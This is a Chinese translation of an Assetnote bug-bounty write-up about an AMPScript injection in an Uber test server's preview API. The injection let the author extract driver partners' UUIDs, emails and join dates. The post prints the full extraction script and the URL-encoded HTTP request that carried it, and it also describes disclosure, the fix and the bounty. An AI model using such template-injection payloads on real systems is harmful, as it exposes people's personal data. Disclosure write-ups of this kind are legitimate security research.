通过AMPScript 来收集Uber的用户数据

翻译自:http://blog.assetnote.io/bug-bounty/2019/01/14/gaining-access-to-ubers-user-data-through-ampscript-evaluation/?tdsourcetag=s_pcqq_aiomsg
翻译:聂心明

现代社会和基础建设管理实践都在快节奏,不断的发展着。在快速的发展和扩张中,在快速的发展和拓张之中,新的财富大陆被发现,之后就会在全球市场中快速传播开来。而已存在的经济领域则依然保持着快速的发展。

想要跟上攻击面的发展,这件事简直太困难了。单单从应用和系统的角度来看安全。传统的时间点和静态的安全方法根本无法跟得上这样的变化。在动态的环境中主动的发现威胁也似乎是一件不可能的任务。

仅仅有一种方式去处理这样的问题,这就是将安全评估的方法转换为可持续性的资产意识。当我们通过Assetnote’s Continuous安全平台 的发现大量的攻击面时,我们常常发现基础设施的改变会导致大量新的和未被发现的漏洞。

在这个例子中,我们通过Assetnote’s Continuous安全平台发现了Uber的一个子域名,这个子域名被隐藏的很深:exacttarget-web-hook.uber.com.

很长的一段时间,这个子域名都会返回令人感到厌烦的“Not Found”这个错误,这个页面是由Express.js生成的。

可是,突然有一天,这个子域名成为了Uber用来测试个性化消息系统的服务器。

第一眼看上去,这个应用就像一个为了测试用户个性化消息的api控制台一样。我们尝试用这个控制台提供的“Test Contact Key”,但是发现这个api不能正常工作。经过一些尝试之后,我发现,contactKey这个参数需要一个已经过身份验证的UUID,而不是页面上提供的UUID。我登录uber后,从 https://riders.uber.com/profile 网页源代码中拿到了账户的UUID。

把我们Uber账户中的UUID放入contactKey这个参数中,然后我们给那个preview这个api发送请求。

GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

在这篇博客前面的截图我就展示了给preview端发送消息的例子

%%[
SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)
]%%
Hi there I'm %%=v(@firstName)=%% and I created this tool.

从语法上和子域名的名称exacttarget-web-hook来看,我意识到上面的代码其实是AMPScript

Salesforce的云市场上提供AMPScript这种脚本语言,这种语言可以被嵌入到HTML邮件中,文本邮件中,加载页中和sms消息中,目的是给不同的用户展示不同的内容。AMPScript使用ExactTarget开发的,在2013年被Salesforce收购。

在api控制台上使用AMPScript的示例脚本总是失败,所以我们就开始调查是否真的能够执行AMPScript脚本。我们很快的发现可以利用HTTPGet这个函数来发送一段请求,并且可以返回数据报文的内容。

太好了,我们能够直接执行AMPScript。可是,从上面的截图可以看出,执行HTTPGet这个函数的服务器不是Uber的服务器,而是AS22606 ExactTarget, Inc这个服务器。

为了演示这个漏洞的影响。我们从data extension 中的driver_partners中提取用户的用户数据。data extension 是一种数据库的表,可以通过AMPScript’s Data Extension functions来访问到其中的数据。

通过查询AMPScript关于 LookupRows这个函数的描述,我们能够构造一段AMPScript脚本去做下列的事情:

  1. 在data extension中搜索firstname为Shubs的所有数据
  2. 在数组中存储这些数据
  3. 遍历数据把数据打印出来

下面是最终利用的脚本:

%%[
SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')
SET @rCount = RowCount(@prefArray)
FOR @i = 1 TO @rCount DO
	SET @Row = Row(@prefArray, @i)
	SET @ID = Field(@Row, 1)
	SET @UUID = Field(@Row, 2)
	SET @joinDate = Field(@Row, 3)
	SET @email = Field(@Row, 4)
	SET @firstName = Field(@Row, 5)
]%%
	%%=V(@UUID)=%%
	%%=V(@joinDate)=%%
	%%=V(@email)=%%
	%%=V(@firstName)=%%
%%[
NEXT @i
]%%

当我把上面这个脚本发送给preview这个api后,服务器返回了所有名字为Shubs的UUID,注册时间,邮箱地址和名字

下面是发给preview这个api的请求数据:

GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

返回报文(UUID和邮箱地址已经被打码)

通过上面的截图,我们可以看到许多名字为Shubs的用户信息已经被返回(上面的截图已经被打码了,只像大家展示测试数据)。攻击者可以在消息中构造特殊AMPScript脚本去获取数据或者在 Uber中通过搜索名字的方式去查询指定人的UUID和邮箱地址。

我在2017年12月13日发现了这个漏洞,厂商在12月15日就修复了这个问题,并且在12月28日给我支付了赏金。

作为由HackerOne举办的Hack the World活动的一部分,我在活动期间获得了“最有影响力的漏洞”,并且获得了$20,000的奖赏。最终这个漏洞给我的奖金为:$23,000。
感谢Uber 和HackerOne。在这个漏洞上和Uber进行合作是一次非常愉快的经历。

如果你的公司或者组织对于Assetnote’s Continuous安全平台非常感兴趣的话,欢迎通过下面链接来联系我们
https://assetnote.io/#signup

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章